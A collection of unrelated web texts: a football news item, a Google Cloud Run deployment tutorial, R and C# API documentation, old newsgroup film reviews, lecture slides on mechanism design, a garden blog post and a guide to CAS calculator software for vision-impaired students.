"I only have one aim in life and that is to be a professional football, and hopefully at Manchester United ."
Rashford then wrote about his "journey so far", stating: "My journey so far has been amazing.
"I have experienced a lot of things associated with Manchester United and with school. I have learned a lot since my birth and I am very proud of myself because I have got to where I am today.
"Many kids would love to do what I have done therefore I will always work hard and never take anything for granted.
"Thank you everyone and especially to those who have helped me on this breathtaking journey. I promise that I WILL work my hardest and I WILL try my best to become a professional footballer."
Rashford joined United aged just seven, bursting on the scene under Louis Van Gaal as a teenager in 2015.
The England international, 22, is now United's leading attacker and has scored six Premier League goals so far this term.
He also got on the scoresheet in England's 7-0 thrasing of Montenegro at Wembley on Thursday night.


Last week at the Google Next in San Francisco, Google announced Cloud Run. A new platform to enable developers without any infrastructure to run Docker containers on Google Cloud.
Cloud Run is a managed compute platform that enables you to run stateless containers that are invocable via HTTP requests. Cloud Run is serverless: it abstracts away all infrastructure management, so you can focus on what matters most — building great applications. It is built from Knative, letting you choose to run your containers either fully managed with Cloud Run, or in your Google Kubernetes Engine cluster with Cloud Run on GKE.
Time the see how this new feature on the Google Platform really works. There are two ways to use Cloud Run. You can choose to run the container serverless, which means you do not have to create any infrastructure. The other option is deploy the container via the Cloud Run to a GKE cluster. From developers perspective there is no difference, the developer can still use the same Cloud Run API.
Lets quickly compare Cloud Run to some other option to run an application sereverless in the cloud. For example you can use Now from Zeit to quickly run a serverless application build in many languages, some major are Node, Rust, Static, Python, Go and NextJS. The free tier get you started quickly. In the paid tier you pay for traffic and invocations. Fargate the the AWS approach to enable serverless Docker containers. But in Fargate you container is always running and you pay per second for CPU and memory. Read here more about deploying to Fargate.
Why not see if we can publish this blog to Cloud Run. Starting is quit simple, just follow the Google documentation. Go to the Google Cloud console and navigate to Cloud Run. You will see here that deploying a container requires two steps. First publish the Docker image to the Docker registry in your Google project. Next deploy the docker image to Cloud Run.
On the Cloud Run create service page is clearly mentioned that the containers needs support injection of a port that listen for HTTP traffic via the environment variable PORT
. This is for example easy to support via the Spring Boot framework. But for the blog we allready have an NGINX container which not support injection of the port.
The first step will be to enable port injection to our blog runtime container. Which can be done by starting the container via a wrapper script which update the NGNIX configuration. We define a simple server configuration in which we can replace the NGNIX_PORT
environment variable via envsubst.
server {
listen ${NGNIX_PORT};
server_name localhost;
...
}
Next we create a simple bash
script to update the PORT
at container start. If no port is set, we apply use the default port 80
.
#!/bin/bash
export NGNIX_PORT=${PORT:=80}
envsubst < /etc/nginx/conf.d/mysite.template > /etc/nginx/conf.d/default.conf \
&& exec nginx -g 'daemon off;'
Finally we update the Dockerfile
to add the new assets and ensure the start.sh
script is invoked at container start.
FROM jekyll/jekyll:3.8.3 AS build
... OMITTED ...
FROM nginx:1.15.3
COPY --from=build /build/_site /usr/share/nginx/html
### copy wrappers and configuration template
COPY nginx/default.conf /etc/nginx/conf.d/mysite.template
COPY nginx/start.sh /usr/bin
CMD ["start.sh"]
This was the hard part, our image is ready. You can test your image locally. For example on port 8081
Docker build -t blog .
Docker run -e PORT=8080 -p 8081:8080 blog
You can publish the Docker image to the gcr.io
registry by building locally and push the Docker image. Or by using Google Cloud Build to build the container. We use the power of the cloud and let Goolge build the image.
gcloud builds submit --tag gcr.io/<project-id>/blog
This will build the Docker image in Google’s cloud build and push it to the registry.
Finally we have to deploy the service via cloud run. You can do this via the web interface, or via the cli.
In the web interface it is straightforward to deploy to Cloud Run. In the cli it is not hard bu you need te be aware that cloud run is beta which requires to install the beta components.
gcloud components install beta
Next you specify the same properties as you should do via the web interface. Currently Cloud Run is only available in the region us-central1
. Since we run a public site we allow unauthenticated traffic.
gcloud beta run deploy blog \
--image gcr.io/<project-id>/blog:latest \
--region us-central1 --allow-unauthenticated
The first impression is that Cloud Run is quit easy to set up. Good to mention is that is based on the Open Source project Knative. At the moment the feature is in beta and there is no support in other regions.
In this post we show just the basics of CLoud Run. It is really super easy to deploy you docker containers to the cloud for low costs. Could be handy for example to review branches. But there is a lot more, containers can be protected and only accept authenticated traffic. Furthermore with integration to Cloud Build it is easy to setup a CI/CD pipeline for GitHub, Bitbucket and Cloud Source Repository. With GitLab CI setting up a pipeline for Cloud Run is almost a no brainer. And for deployment GitLab already supports Knative to deploy to a Kubernetes cluster.


An alternative to dateInput
to select single, multiple or date range.
And two alias to select months or years.
airDatepickerInput(inputId, label = NULL, value = NULL, multiple = FALSE, range = FALSE, timepicker = FALSE, separator = " - ", placeholder = NULL, dateFormat = "yyyy-mm-dd", minDate = NULL, maxDate = NULL, disabledDates = NULL, view = c("days", "months", "years"), minView = c("days", "months", "years"), monthsField = c("monthsShort", "months"), clearButton = FALSE, todayButton = FALSE, autoClose = FALSE, timepickerOpts = timepickerOptions(), position = NULL, update_on = c("change", "close"), addon = c("right", "left", "none"), language = "en", inline = FALSE, width = NULL) timepickerOptions(dateTimeSeparator = NULL, timeFormat = NULL, minHours = NULL, maxHours = NULL, minMinutes = NULL, maxMinutes = NULL, hoursStep = NULL, minutesStep = NULL) airMonthpickerInput(inputId, label = NULL, value = NULL, ...) airYearpickerInput(inputId, label = NULL, value = NULL, ...)
| inputId | The |
|---|---|
| label | Display label for the control, or |
| value | Initial value(s), dates as character string are accepted in |
| multiple | Select multiple dates. |
| range | Select a date range. |
| timepicker | Add a timepicker below calendar to select time. |
| separator | Separator between dates when several are selected, default to |
| placeholder | A character string giving the user a hint as to what can be entered into the control. |
| dateFormat | Format to use to display date(s), default to |
| minDate | The minimum allowed date. Either a Date object, or a string in |
| maxDate | The maximum allowed date. Either a Date object, or a string in |
| disabledDates | A vector of dates to disable, e.g. won't be able to select one of dates passed. |
| view | Starting view, one of |
| minView | Minimal view, one of |
| monthsField | Names for the months when view is 'months',
use |
| clearButton | If |
| todayButton | If |
| autoClose | If |
| timepickerOpts | Options for timepicker, see timepickerOptions. |
| position | Where calendar should appear, a two word string like
|
| update_on | When to send selected value to server: on |
| addon | Display a calendar icon to |
| language | Language to use, can be one of |
| inline | If |
| width | The width of the input, e.g. |
| dateTimeSeparator | Separator between date and time, default to |
| timeFormat | Desirable time format. You can use |
| minHours | Minimal hours value, must be between 0 and 23. You will not be able to choose value lower than this. |
| maxHours | Maximum hours value, must be between 0 and 23. You will not be able to choose value higher than this. |
| minMinutes | Minimal minutes value, must be between 0 and 59. You will not be able to choose value lower than this. |
| maxMinutes | Maximum minutes value, must be between 0 and 59. You will not be able to choose value higher than this. |
| hoursStep | Hours step in slider. |
| minutesStep | Minutes step in slider. |
| ... | Arguments passed to |
a Date
object or a POSIXct
in UTC timezone.
This widget prevents dateInput
from working, don't use both !
See updateAirDateInput
for updating slider value server-side.
And demoAirDatepicker
for examples.
# NOT RUN { if (interactive()) { # examples of different options to select dates: demoAirDatepicker("datepicker") # select month(s) demoAirDatepicker("months") # select year(s) demoAirDatepicker("years") # select date and time demoAirDatepicker("timepicker") # You can select multiple dates : library(shiny) library(shinyWidgets) ui <- fluidPage( airDatepickerInput( inputId = "multiple", label = "Select multiple dates:", placeholder = "You can pick 5 dates", multiple = 5, clearButton = TRUE ), verbatimTextOutput("res") ) server <- function(input, output, session) { output$res <- renderPrint(input$multiple) } shinyApp(ui, server) } # }


CLERKS A film review by Sue Roberts Copyright 1996 Sue Roberts
Directed by Kevin Smith. Starring Brian O'Halloran, Jeff Anderson, Mary Ghigliotti.
Wicked, amusing and possibly the most outrageous thing you will hear in a long time.
 The boss has gone to Connecticut and the poor guy finds it anything but convenient that he's been left him to mind the shop.
The customers are a truly bizarre assortment of folk. However its not hard for him to appear competent compared to Randal from the store next door!
A hockey game was planned, but things don't turn out the way he intended.The funeral was unexpected, and when a lady from the past turns up, it causes him to ask where his life is headed!.
Like all good comedy it leans on the boundaries of taste, but has a ring of truth underlying some of the jokes. The conversation stretches over life, the universe and everything. Is it any wonder with this assortment of characters dropping in?
Orson Welles made "F for Fake" about how the camera can be used to confuse the viewer's perception of what is fact, or fabrication, in art and in life. But Smith goes further down the road towards Ken Loach's "Raining Stones" in his choice of social realism for a backdrop. The grain of the black and white filmstock gives this film the ambience of a documentary and I think it is the presentation of fiction in this format which makes "Clerks" astonishingly powerful.
He puts his finger neatly on the sense of women that education is something to be fought for, but asks some impertinent questions about whether they are using their freedom without responsibility. Maybe the hockey players are not alone in taking their eye off the ball.
Perhaps most astonishing is the representation of young men with little conception of how, or where, they might engage with society.
Such a satire, that dénouement. The mere suggestion that a dealer could have more commitment to his work than a bona fide employee, and more awareness of what is relevant in life, points to some glaring holes in what this world seems to offer the next generation.
Funny and darned clever.
Sue Roberts<EMAIL_ADDRESS>The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


We are here to give training on different languages with best stuff [..]
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Technology consulting is the process of providing professional technology advice to a business or organization.[..]
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Package io.smint.clapi.consumer.integration.core
Smint.io base library for synchronizing assets from our Enterprise Buying Platform to downstream targets, like Digital Asset Management (DAM) software.
This base library makes integration of the Smint.io platform and synchronization of assets from Smint.io to any target (one-way) a breeze. The basic infrastructure to run synchronization is provided by this library. What you need to provide is special instances with some adaption to the specific synchronization target.
What to implement to make it fly with a synchronization target
To make it work with a sync target, you need to implement the following interfaces:
How to provide your implementation to the sync library: Factory or dependency injection
In order to provide your implementation to the synchronization library framework, you need to provide a factory,
implementing the interface ISyncTargetFactory
. There is a
default * implementation available as
DefaultSyncTargetFactory
. This class can be used even
if you do not have any dependency injection available. Nevertheless using any DI framework would be helpful. There is
an example how to use DefaultSyncTargetFactory
in the
documentation for that class.
Initialize the synchronization process
Initialization is performed utilizing class SmintIoSynchronization
.
new SmintIoSynchronization( new DefaultSyncTargetFactory() .setAuthTokenStorage(new MyAuthTokenStorage()), .setSettingsProvider(new MySettingsProvider()), .setDataFactory(new MySyncTargetDataFactory()), .setSyncTargetProvider(() -> new MySyncTargetImplementation()) ) .start() .initialSync(false);
A file based authentication storage is available:
final IAuthTokenStorage authTokenStorage = new AuthTokenFileStorage( new AuthTokenJsonConverter(), new File("./auth-token.json") )
The provider for settings heavily depends on the target system. Therefore there is no default implementation available. Since the settings are ready very often from the provider, each implementation should use some sort of caching when reading the data from slow IO.
-
ClassDescriptionProvides methods to handle the sync process from assets at Smint.io to a downstream synchronization target.Implements utility tools to handle Java Locale peculiarities.Provides initializing functions for the Smint.io synchronization process and handles the synchronization.


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| 数据集 |
http://archive.ics.uci.edu/ml/datasets.php |
|
https://www4.stat.ncsu.edu/~boos/var.select/ |
|
http://lib.stat.cmu.edu/datasets/ |
|
http://yann.lecun.com/exdb/mnist/ |
|
https://docs.microsoft.com/en-us/azure/open-datasets/ |
|
https://github.com/tomsharp/SVR/tree/master/data |
|
https://github.com/krishnaik06/simple-Linear-Regression |
|
https://github.com/susanli2016/Machine-Learning-with-Python/tree/master/data |
|
https://www.datarepository.movebank.org |
|
https://github.com/CSSEGISandData/COVID-19 |
| Apache-Math |
https://commons.apache.org/proper/commons-math/ |
|
https://commons.apache.org/proper/commons-math/apidocs/index.html |
| 学习 |
https://github.com/InfolabAI/DeepLearning |
|
https://www.deeplearningbook.org/ |
|
https://github.com/zsdonghao/deep-learning-book |
|
https://github.com/hadrienj/deepLearningBook-Notes |
|
https://github.com/janishar/mit-deep-learning-book-pdf |
|
https://clauswilke.com/dataviz/ |
|
https://www.kancloud.cn/apachecn/dataviz-zh/1944809 |
|
https://www.bilibili.com/video/BV1Ua4y1e7YG |
|
https://www.bilibili.com/video/BV1i7411d7aP |
|
https://github.com/fengdu78/Coursera-ML-AndrewNg-Notes |
| 工具 |
https://scikit-learn.org/stable/ |
|
https://www.mathworks.com/help/index.html |
| 示例 |
https://www.xycoon.com/simple_linear_regression.htm |
|
https://www.scribbr.com/statistics/simple-linear-regression/ |
|
http://www.datasetsanalysis.com/regressions/simple-linear-regression.html |


Contact Us
Say hello or ask any question, using this contact form.
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If you have question, feel free to use the Issue Tracker or write a mail to<EMAIL_ADDRESS>or<EMAIL_ADDRESS>Please give us feedback!
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If you have question, feel free to use the Issue Tracker or write a mail to<EMAIL_ADDRESS>or<EMAIL_ADDRESS>Please give us feedback!


HEAT A film review by Andrew Hicks Copyright 1996 Andrew Hicks / Fatboy Productions
*** (out of four)
I saw this movie in a theater on Christmas day. I wouldn't recommend it, not only because movie theaters are filled on Christmas with all the losers and lonely people with nowhere else to go (myself not included, of course), but also because when it comes to peace on earth and good will toward men, HEAT is left out in the cold. It's a dark, gritty movie where people are shot point blank with machine guns for talking. If only the ushers would do that to noisy theater patrons...
Al Pacino and Robert DeNiro star as polar opposites, Pacino the cop and DeNiro the criminal plotting to knock over a bank. The two are definite enemies but still have an intriguing sense of politeness toward each other, knowing they could have been good friends had circumstances been different. Both know and accept the fact that one will be triumphant over the other. In one of their few scenes together, Pacino pulls DeNiro over on the highway, only to ask him if he wants to have a cup of coffee with him. Certainly an unusual relationship those two have with each other. When's the last time you saw Batman and The Joker eating a plate of nachos together?
HEAT combines the main story of DeNiro planning his big score and Pacino planning to stop him once he figures out what the big score is (an important first obstacle to overcome) with other subplots. Pacino's wife resents his preference of his work to her, his stepdaughter (Natalie Portman from THE PROFESSIONAL, who doesn't have any embarrassing Madonna numbers to sing this time) wants and tries to kill herself and DeNiro's henchman, Val "Batman" Kilmer (when's the last time you saw him sharing a plate of nachos with The Joker?), has a wife on the verge of leaving him.
It's a depressing, pessimistic movie, to say the least, but a compelling one. Especially interesting is the plotline that has DeNiro meeting and falling in love with a woman. At first I thought his flirtation was an act so he could beat her to death with a crowbar once he got her alone, but it turns out some criminals can experience true love. (Donald Trump's been married twice.) His love for her causes complications a little later on, when choices are to be made.
HEAT is three hours long, at least twenty minutes longer than it should be, but you need that length to tell the full story, I guess. Even with the lengthy storytelling throughout the movie, the final scene between DeNiro and Pacino is over way too soon. And by the end, there are still a few unresolved plot points. It's a good movie but it could be better, and briefer. A word of advice--don't see it on Christmas day.
Visit the Movie Critic at LARGE website at http://www.missouri.edu/~c667778/movies.html and check out the 40+ new reviews since Christmas.
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


David Hare -- whose credits include Collateral and The White Crow -- wrote the four-part drama.
Line of Duty and Strike director Michael Keillor is helming the project in London.
"The casting of Roadkill illustrates the extraordinary depth and range newly on show in British film acting. Hugh Laurie is leading a great ensemble," Hare said in a press release.
The cast also features Sidse Babett Knudsen, Saskia Reeves, Sarah Greene, Patricia Hodge, Ophelia Lovibond, Iain De Caestecker, Katie Leung, Olivia Vinall, Pippa Bennett-Warner, Shalom Brune-Franklin, Pip Torrens, Millie Brady and Danny Ashok.
The miniseries follows Peter Laurence (Laurie), "a self-made, forceful and charismatic politician," a synopsis said
"Peter's public and private life seems to be falling apart -- or rather is being picked apart by his enemies. As the personal revelations spiral, he is shamelessly untroubled by guilt or remorse, expertly walking a high wire between glory and catastrophe as he seeks to further his own agenda whilst others plot to bring him down."
No premiere date has been announced.


--- title: Multiflorous Monday! date: 2016-08-22 00:00:00 -06:00 categories: - whats-blooming layout: post blog-banner: whats-blooming-now-fall.jpg post-date: August 22, 2016 post-time: 1:15 PM blog-image: wbn-default.jpg ---
The Garden is in full bloom with no shortage of flowers or bees! Come break up your monotonous Monday by enjoying all the floral beauty the Garden has to offer!
Wild Passion Flower Passiflora incarnata
If you look closely, you can see a bee being doused on its back with pollen while searching for nectar. Isn't that a cool trick?! Stay tuned for the sweet edible fruit to come! It can be seen in the Children's Garden.
Belladonna Delphinium Delphinium elatum 'Bellamosum'
While in the Children's Garden, you can't miss this vibrant blue flower, talk about mesmerizing!
Rocky Mountain Raspberry Rubus deliciosus
It's a green bee! How cool is that! This white flower will be followed by edible purple fruit.
Blue Mist Spiraea Caryopteris x clandonensis 'Blue Mist'
More bees! If you are out looking for bees, this seems to be the plant to visit along the Floral Walk.


---
layout: slides
title: "On mechanism design"
category: hidden
type: course
semester: Fall 2020
college: Stevens Institute of Technology
permalink: /thought-and-behavior/mechanism-design/
---
# On mechanism design.
???
---
# Mechanism design
- c.f. game theory
- "reverse game theory"
- "incentive compatible"
---
# Example: Auctions
---
# Japanese auction
- Ascending clock auction
???
Suppose a buyer believes that the value of the item is v. Then this buyer has a simple dominant strategy: stay in the arena as long as the displayed price is below v; exit the arena whenever the displayed price equals v. This means that the Japanese auction is a truthful mechanism: it is always best to act according to your true value, regardless of the others' values.
When all buyers play their dominant strategies, the outcome is:
The winning buyer is the buyer with the highest valuation;
The final price is the second-highest valuation.
---
# Dutch auction
- Descending clock auction
---
# English auction
- Start at reserve
- Increment standing bid
- Last standing bid becomes winner
---
# Sealed first-price auction
- "Blind" auction
- First price == bid of highest bidder
---
# Vickrey auction
- Second price sealed bid auction
- Efficient and incentive-compatible
- Issues?
???
Weaknesses
It does not allow for price discovery, that is, discovery of the market price if the buyers are unsure of their own valuations, without sequential auctions.
Sellers may use shill bids to increase profit.
The Vickrey–Clarke–Groves (VCG) mechanism has the additional shortcomings:
It is vulnerable to bidder collusion. If all bidders in Vickrey auction reveal their valuations to each other, they can lower some or all of their valuations, while preserving who wins the auction.[7]
It is vulnerable to a version of shill bidding in which a buyer uses multiple identities in the auction in order to maximize its profit.[8]
It does not necessarily maximize seller revenues; seller revenues may even be zero in VCG auctions. If the purpose of holding the auction is to maximize profit for the seller rather than just allocate resources among buyers, then VCG may be a poor choice.
---
# Example: Voting
Who *should* win and why?
???
Given the voters’ expressed opinions, which candidate should win the election? Since the voters disagree about the ranking of the candidates, there is no obvious candidate that best represents the group’s opinion. If there were only two candidates to choose from, there is a very straightforward answer: The winner should be the candidate or alternative that is supported by more than 50 percent of the voters (cf. the discussion below about May’s Theorem in Section 4.2). However, if there are more than two candidates, as in the above example, the statement “the candidate that is supported by more than 50 percent of the voters” can be interpreted in different ways, leading to different ideas about who should win the election.
---
# Condorcet winners and losers
- Winner beats everyone 1-on-1
- Loser beats everyone 1-on-1
---
# Borda winners and losers
- Considers *margin* of victory in 1-on-1
- Sum of "points", n-1 to top-ranked, n-2 to next
---
# Arrow's imposibility theorem
No rank-order electoral system can always satisfy:
- If every voter prefers alternative X over alternative Y, then the group prefers X over Y.
- If every voter's preference between X and Y remains unchanged, then the group's preference between X and Y will also remain unchanged (even if voters' preferences between other pairs like X and Z, Y and Z, or Z and W change).
- No "dictator": no single voter possesses the power to always determine the group's preference.
---
# Some voting mechanisms
- First-past the post
- Plurality with runoff
- Hare rule ("instant runoff")
- Coombs rule (Hare, but for last place)
- Negative voting (+1 or -1)
- Approval voting (i.e., negative for subsets)
- Cumulative voting
???
Coombs iterative delete candidate with the most last-place votes
In approval voting, each voter selects a subset to approve vs. disapprove
In cumulative voting you spread, a bunch of points around and winner is whomever gets the most points
---
# Example: Fair division
- How do we divide the cake?
- Who gets which room of the apartment?
---
# Demo: alien invasion
- Split up the world in a way that's fair
- How will you decide how to do it?
- What is fairness?
---
# What is fairness?
- Proportional
- Envy free
- Equitable
- Exact
- Pareto-optimal?
---
class: center, middle
# Fin.


Describes a custom effect for a system device.
More...
Describes a custom effect for a system device.
Definition at line 37 of file Custom.cs.
| Corale.Colore.Razer.Effects.Custom.Custom |
( |
Color |
color, |
|
|
int |
parameter = 0 |
|
) |
| |
Initializes a new instance of the Custom struct.
- Parameters
-
| color | Color to set on all cells. |
| parameter | Additional effect parameter. |
Definition at line 62 of file Custom.cs.
| Corale.Colore.Razer.Effects.Custom.Custom |
( |
Custom |
other | ) |
|
Initializes a new instance of the Custom struct.
- Parameters
-
| other | Another Custom struct to copy colors and data from. |
Definition at line 73 of file Custom.cs.
| Corale.Colore.Razer.Effects.Custom.Custom |
( |
IList< Color > |
colors, |
|
|
int |
parameter = 0 |
|
) |
| |
Initializes a new instance of the Custom struct.
- Parameters
-
| colors | Colors to set. |
| parameter | Additional effect parameter. |
Definition at line 85 of file Custom.cs.
| Corale.Colore.Razer.Effects.Custom.Custom |
( |
Color |
colors[,], |
|
|
int |
parameter = 0 |
|
) |
| |
Initializes a new instance of the Custom struct.
- Parameters
-
| colors | 2D array of colors to set. |
| parameter | Additional effect parameter. |
Definition at line 100 of file Custom.cs.
| Corale.Colore.Razer.Effects.Custom.Custom |
( |
int |
parameter | ) |
|
|
private |
Initializes a new instance of the Custom struct.
- Parameters
-
| parameter | Effect parameter to set. |
Definition at line 120 of file Custom.cs.
| void Corale.Colore.Razer.Effects.Custom.Clear |
( |
| ) |
|
| Custom Corale.Colore.Razer.Effects.Custom.Clone |
( |
| ) |
|
Returns a copy of this struct.
- Returns
- A copy of this struct.
Definition at line 253 of file Custom.cs.
| static Custom Corale.Colore.Razer.Effects.Custom.Create |
( |
| ) |
|
|
static |
Creates a new empty Custom struct.
- Returns
- An instance of Custom filled with the color black.
Definition at line 243 of file Custom.cs.
| override bool Corale.Colore.Razer.Effects.Custom.Equals |
( |
object |
obj | ) |
|
Indicates whether this instance and a specified object are equal.
- Returns
true
if obj and this instance are of compatible types and represent the same value; otherwise, false
.
- Parameters
-
| obj | Another object to compare to. |
<filterpriority>2</filterpriority>
Definition at line 276 of file Custom.cs.
| bool Corale.Colore.Razer.Effects.Custom.Equals |
( |
Custom |
other | ) |
|
Indicates whether the current object is equal to another object of the same type.
- Returns
true
if the current object is equal to the other parameter; otherwise, false
.
- Parameters
-
| other | A Custom to compare with this object. |
Definition at line 295 of file Custom.cs.
| override int Corale.Colore.Razer.Effects.Custom.GetHashCode |
( |
| ) |
|
Returns the hash code for this instance.
- Returns
- A 32-bit signed integer that is the hash code for this instance.
Definition at line 310 of file Custom.cs.
| static bool Corale.Colore.Razer.Effects.Custom.operator!= |
( |
Custom |
left, |
|
|
object |
right |
|
) |
| |
|
static |
Compares an instance of Custom with another object for inequality.
- Parameters
-
| left | The left operand, an instance of Custom. |
| right | The right operand, any type of object. |
- Returns
true
if the two objects are not equal, otherwise false
.
Definition at line 233 of file Custom.cs.
| static bool Corale.Colore.Razer.Effects.Custom.operator== |
( |
Custom |
left, |
|
|
object |
right |
|
) |
| |
|
static |
Compares an instance of Custom with another object for equality.
- Parameters
-
| left | The left operand, an instance of Custom. |
| right | The right operand, any type of object. |
- Returns
true
if the two objects are equal, otherwise false
.
Definition at line 221 of file Custom.cs.
| void Corale.Colore.Razer.Effects.Custom.Set |
( |
Color |
color | ) |
|
Sets the entire grid to a specific Color.
- Parameters
-
Definition at line 326 of file Custom.cs.
| readonly Color [] Corale.Colore.Razer.Effects.Custom._colors |
|
private |
Color values for the effect.
Definition at line 55 of file Custom.cs.
| readonly int Corale.Colore.Razer.Effects.Custom.Parameter |
Additional effect parameter.
Definition at line 49 of file Custom.cs.
| readonly int Corale.Colore.Razer.Effects.Custom.Size |
The size of the effect struct.
Definition at line 43 of file Custom.cs.
| Color Corale.Colore.Razer.Effects.Custom.this[int index] |
|
getset |
Gets or sets a position in the custom grid.
- Parameters
-
- Returns
- The Color at the specified position.
Definition at line 134 of file Custom.cs.
| Color Corale.Colore.Razer.Effects.Custom.this[int row, int column] |
|
getset |
Gets or sets cells in the custom grid.
- Parameters
-
| row | The row to access. |
| column | The column to access. |
- Returns
- The Color at the specified position.
Definition at line 170 of file Custom.cs.
The documentation for this struct was generated from the following file:


{$message.content.content}
The English version of this site is being developed, please pay attention to the announcement!
此部分功能正在开发中!


Produced by Nathaniel Schmidt on behalf of the EduVis ‘Pat Roberts Accessible Calculator Benefit’.
Welcome to the Eduvis CAS software calculator considerations analysis. My name is Nathaniel Schmidt. I completed my secondary Victorian Certificate of Education (VCE) in 2013 and am currently studying a Bachelor of Computer Science at Deakin University.
In the following videos, it is my intention to give you an overview of some of the different options available to vision impaired students, especially when it comes to software calculators, if you want to independently study maths at an intermediate or advanced level, especially in latter years of high school, from year ten upwards. If you have never yet thought about studying maths in late high school, especially if the reason is because you are worried about not being able to do the work, or if you are worried about not being able to get a good grade then I hope that the suggestions in this video will help to alleviate some of your concerns.
It is also hoped that more students who are already studying mathematics may consider transferring there skills over to independently using their own calculators, rather than completely relying on a human aid such as a teacher’s aid, a scribe for an exam, or a parent to get their work done.
If you have stumbled across this video outside of the Eduvis website and are still confused as to what this is all about, you can visit eduvis.com.au for more information.
If you are a vision impaired student anywhere in the world, or if you are a teacher who has a vision impaired student then we think it is quite likely that you will find these resources helpful. Having said that, most of what is said here will have very specific relevance to you if you are a high school student from Victoria, Australia, studying according to the educational specifications outlined by the Victorian Curriculum and Assessment Authority (VCAA). If you are a year 10 student and wish to continue mathematics studies in years 11 and 12, it is hoped that the following information may make your transition much easier.
CAS stands for Computer Algebra System. A CAS calculator allows for manipulation of a computer to use the same mechanical techniques that a human mathematician would use in order to solve complex equations. It takes away a lot of the working out process so that you can just type in an equation to get the answer. You can do this with quadratics (linear equations), polynomials, combinatorics and a whole range of other things. They are really helpful and make school and homework a lot faster. CAS calculation is built into some scientific and graphing calculators; and they are the type of calculator that VCAA wants students to use when students study VCE. Even if you use a different type of calculator, such as a graphing or scientific calculator, you may still find some of this information helpful, since CAS capabilities are already built into many of these devices, hardware and software calculators alike.
Sometimes there is a difference between a CAS calculator and a scientific calculator but sometimes there isn’t. If you are not sure whether you are using a scientific or CAS calculator, it is always good to check whether or not your calculator has CAS functionality built into it as a programmable extension. If you live in Victoria then In years seven, eight and nine, you get to use basic scientific calculators which can deal with certain aspects of geometry and trigonometry, probability and statistics, finance, engineering measurements and logarithms. But sometimes you will want to use a calculator to solve, simplify or expand complex algebraic expressions, or to deal with counting permutations and combinations involving matrices, as well as many other things. To do this, it can be helpful to use a Computer Algebra system to replicate the same procedures that you would use yourself when you want to solve an equation on paper.
In Australia, outside of Victoria, different states use either graphing or scientific calculators, some of which, as already stated, can come with a certain amount of CAS functionality beyond scientific basics. But in Victoria, as already stated, it is expected that you use a specialised scientific calculator that can perform CAS-related operations. In fact, the student is quite disadvantaged when not using a CAS calculator, since the subject content uses examples to follow for textbook exercises which rely on CAS calculator operations.
When I studied high school maths in years 10, 11 and 12, especially when I started year 11 VCE, this was at a point where I had just started transitioning a lot of my work from being written in hardcopy Braille and calculated on hardware calculators, to using a software calculator and writing my school work on a computer. It was basically necessary for me to do a lot of my own homework; although I did get a lot of advice from a friend who was studying maths at the same time as me and who had already done a lot of research on calculators and how to write maths on the computer. But there were still a lot of difficulties. One of the biggest ones was that I did not always know how to properly read and understand the documentation for the software calculator I was using. This meant that I could not always figure out for myself how to translate some of the procedures and functions I had to use into practical examples. Solving algebra via a calculator was pretty easy. But I had trouble figuring out how to count combinations and permutations by using matrices, without consulting someone else beforehand who had already performed the procedure. I can do this easily enough now but back then it was difficult to learn on my own. There were probably other issues as well but these are all I can think of since the 7-8 years or so that it’s been since I specifically worked on these things in a high school setting.
What I did not ever have access to – but wish I did have access to – was some kind of a guide, specifically tailored to my own situation, compiling instructions on how to use different software solutions for performing calculations and writing out maths on a computer. It would have saved months of research, time that could have been spent on doing actual school work to get the maths done.
This is why we have put together the videos you are now watching. I hope they are of benefit to you and make life a bit easier. Hopefully there may also be more vision impaired students who are prepared to take the plunge and study more advanced levels of mathematics education, such as mathematical methods or even specialist maths, education and knowledge that is required if one wishes to pursue a career in any fields of engineering, computing, physics and other scientific fields.
When you are studying any subject at any level, it is always good to try your best to work within a standard that is closest to the technical specifications outlined by the overseeing educational body that your school is under. In Victoria, the good thing is that VCAA has already approved around half a dozen software applications that you can use on your computer as a CAS calculator, so you don’t necessarily have to make too many compromises in order to work around the requirements for your education. In this examination, we will be looking at three of these solutions. We will also have a look at a fourth solution, Maxima, which is the free and open-source software calculator that a software engineering friend and I used in order to help us do CAS Maths, or what is officially called Mathematical Methods in years 11 and 12. We will examine some of the features of these calculators, along with the pros and cons of each solution when compared with each other. We will not be able to cover absolutely everything that you can use these calculators for in your studies, so it will still be very important for you to do your own homework, to figure out extra features you may need in order to perform calculations from examples or exercises in a textbook or workbook. Hopefully these insights get you off to a good start.
Available and approved CAS software calculators:
Maple
At the end of every command line, you need to input the ';' for Maple to know the line is finished.
Basics
Add
+
subtract
-
mulitply
*
divide
/
to the power
^
Numbers
Rational or irration number expansion:
evalf(6/9);
0.6666666667
square root:
sqrt(8);
(1/2)
2 2
cube root:
root(8, 3);
2
Solve Equations
solve(n/6 = 5);
30
solve(2*b - 4*b = -b + 3);
-3
Inequalities
One step linear inequalities
solve(`>=`(z + 4, 1));
RealRange(-3, infinity)
Advanced inequalities
solve(`>=`(-k - 2, 14));
RealRange(-infinity, -4)
Logarithms
log(2);
ln(2)
log10(2);
ln(2)
------
ln(10)
log10(100);
2
log[5](5) = log[5](5);
1 = 1
Exponential and Logarithmic Functions
solve(8^x = 9);
2 ln(3)
-------
3 ln(2)
solve(log[6](y) = 1);
6
solve(log(2*t) = log(8));
4
Monomials
4*u^5 + u^5;
5
5 u
(9*u^5)*(3*u^6);
11
27 u
need to put asterix here or else will result with:
(9*u^5)(3*u^6);
5
/ 6\
9 u\3 u /
(4*g^2)/(4*g^9);
1
--
7
g
Polynomials
add and subtract polynomials
(5*x^2 + 2*x - 4) + (-2*x^2 + 4*x - 5);
2
3 x + 6 x - 9
Multiplying polynomials (exapnding)
expand((q - 3)*(q + 3));
2
q - 9
Factorising
factor(g^2 + 14*g + 13);
(g + 13) (g + 1)
factor(m^2 - 10*m + 25);
2
(m - 5)
Quadratic Equations
